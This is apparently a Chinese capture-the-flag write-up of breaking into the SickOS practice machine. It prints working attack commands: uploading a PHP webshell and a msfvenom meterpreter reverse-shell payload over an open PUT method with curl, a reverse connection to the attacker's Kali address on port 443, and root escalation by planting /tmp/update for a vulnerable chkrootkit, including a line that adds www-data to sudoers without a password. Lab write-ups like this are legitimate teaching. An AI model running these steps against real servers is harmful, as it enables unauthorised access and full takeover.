目录
一、实验环境
二、实验步骤
主动信息收集
端口探测——22端口
端口探测——80端口
1、目录探测
2、获取shell
3、提权
4、防火墙规则
- 攻击机(Kali):192.168.247.181
- 靶机(SickOS):192.168.247.180
1、主机发现
2、端口扫描
目标靶机开放8180端口和22端口
3、端口详细信息
4、探测漏洞
可以看到http服务的版本是lighttpd 1.4.28,使用searchsploit搜服务的已知漏洞,并没有发现该版本的对应漏洞。
1、尝试登录
尝试使用简单的账户密码登录,账号:root,密码:root竟然登陆成功,而且直接拿到具有root权限的shell。
终极四连问
2、留后门
在/var/www目录下看到test目录,结合前面扫描到的目录http://192.168.247.180/test,可以得到/var/www目录就是网站目录。在该目录下写下一句话木马,保存为admin.php。
使用中国菜刀进行测试
模拟终端
在浏览器上直接访问192.168.247.180,可以看到主页没有什么有用信息。接下来使用dirb分别对默认字典和大字典对靶机进行目录探测,找到index.php和/test/目录。
访问192.168.247.180/test,也没有发现什么有用信息。
查看Kali里的/usr/share/nmap/scripts/http-methods.nse脚本
方法一
1、查询http://192.168.247.180/test下支持的方法
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.247.180
可以看到/test目录下支持PUT方法,所以我们可以上传文件了。
2、用BurpSuite上传了一个test.html文件进行测试,发现真的上传成功了,上传一个不存在的文件会响应201 Created。
3、然后就是传webshell了。为了隐蔽,我用BurpSuite上传了shell3.php,上传一个存在的文件名会响应200 OK。
4、如果想要删除创建的东西,可使用DELETE方法进行删除。
成功删除test.html
5、使用中国菜刀CKnife
模拟终端
然后我们就可以对它进行提权,这里就先不讲解了,下面会说如何进行提权的。
注:我这里只是上传了一个获取cmd的php文件,当然也可以上传一个获取反弹shell的脚本,在Kali测试机上进行监听,便可以得到反弹shell。
步骤:
- 获取反弹shell脚本,路径:/usr/share/webshells/php/php-reverse-shell.php,修改里面的IP和监听端口号(443)。
- 将该脚本上传至靶机。
- curl -v -H ‘Expect:’ -T <脚本存放路径> “http://192.168.247.180/test/”
- 在Kali测试机上监听端口(443)
- 触发脚本文件,获取反弹shell。
方法二:msfvenom生成payload
1、上传一个精心构造的php webshell,使用msfvenom来生成payload。这里是指定到时候msfconsole中监听的端口为11111。
msfvenom -p php/meterpreter.reverse_tcp LHOST=192.168.247.181 LPORT=11111 > shell_11111.php
- -p:选择一个payload
- LHOST=Kali测试机的IP
- LPORT=监听端口
补充:
- msfvenom -l #查询payload
- msfvenom -h #查看帮助信息
2、将shell_11111.php上传到192.168.247.180的/test/目录。
curl -v -H “Expect:” -T shell_11111.php “http://192.168.247.180/test/”
- -v:显示更多信息;
- -T:指定要上传的文件;
- -H:将自定义头(Expect:)传递给服务器,即将Header中Expect的值手动指定为空。
补充:cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。可输入命令 ' curl -h ' 查看帮助信息。
3、访问http://192.168.247.180/test/,发现shell_11111.php上传成功。
4、在Kali测试机上打开msfconsole,使用use exploit/multi/handler模块,指定IP(靶机IP)和端口,然后放到后台进行监听。
curl -v “http://192.168.247.180/test/shell_11111.php”
使用curl访问靶机上的shell_11111.php之后,页面卡住了,这是正常情况,说明在等待服务器响应,但是msfconsole中并没有什么反应。 于是猜想是防火墙ban掉了非常用端口的outbound流量。
修改监听的端口
1、在msfvenom和msfconsole中修改LHOST的值为常用端口,这里将其设置为443。
2、访问靶机上的shell_443.php。
3、触发服务器端反弹TCP的操作,在msfconsole里就会得到一个meterpreter的shell。
4、在meterpreter里用shell命令得到一个交互式的shell,但是并没有tty,输入命令 —— python -c ‘import pty;pty.spawn(“/bin/bash”)’ ,生成一个完全交互式的tty。
5、终极四连问
1、本地提权漏洞发现
- lsb_release -a #查看系统版本
- ls -la /etc/cron*
- searchsploit chkrootkit
crontab是用来让使用者在固定时间或固定间隔执行程序,换句话说,类似于使用者的时程表。
2、探测漏洞
使用searchsploit搜索chkrootkit的已知漏洞,发现chkrootkit存在本地提权漏洞。
可以看到当chkrootkit的版本是低于0.50时,chkrootkit有crontab,会定期以root身份执行/tmp/update文件。我们可以利用这一点,在/tmp目录下新建update文件,做我们想让root帮我们做的事。注意:需给/tmp/update增加可执行权限。
方法一:编写shell.c文件
1、在Kali测试机上的/var/www/html编写shell.c文件,并开启apache服务。
2、在获得的shell下wget该文件,显示连接不上Kali测试机。
3、采用远程传输,将shell.c文件上传到靶机的tmp目录下。(也可以使用curl命令)
4、编译shell.c文件,并将它输出为update文件;执行update,成功拿到root权限。
5、终极三连问
方法二:在update文件中将当前用户www-data加入到sudoers列表中
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
终极三连问
- 对于入站流量:只接受22、80目的端口,8080、443源端口
- 对于出站流量:只接受22、80源端口,8080、443目的端口
即,本地端口只允许22和80,外来端口只允许8080和443访问,以次来保证对外部HTTP(s)服务的正常访问。这也就是为什么前面使用高位端口不成功、使用443端口监听成功的原因。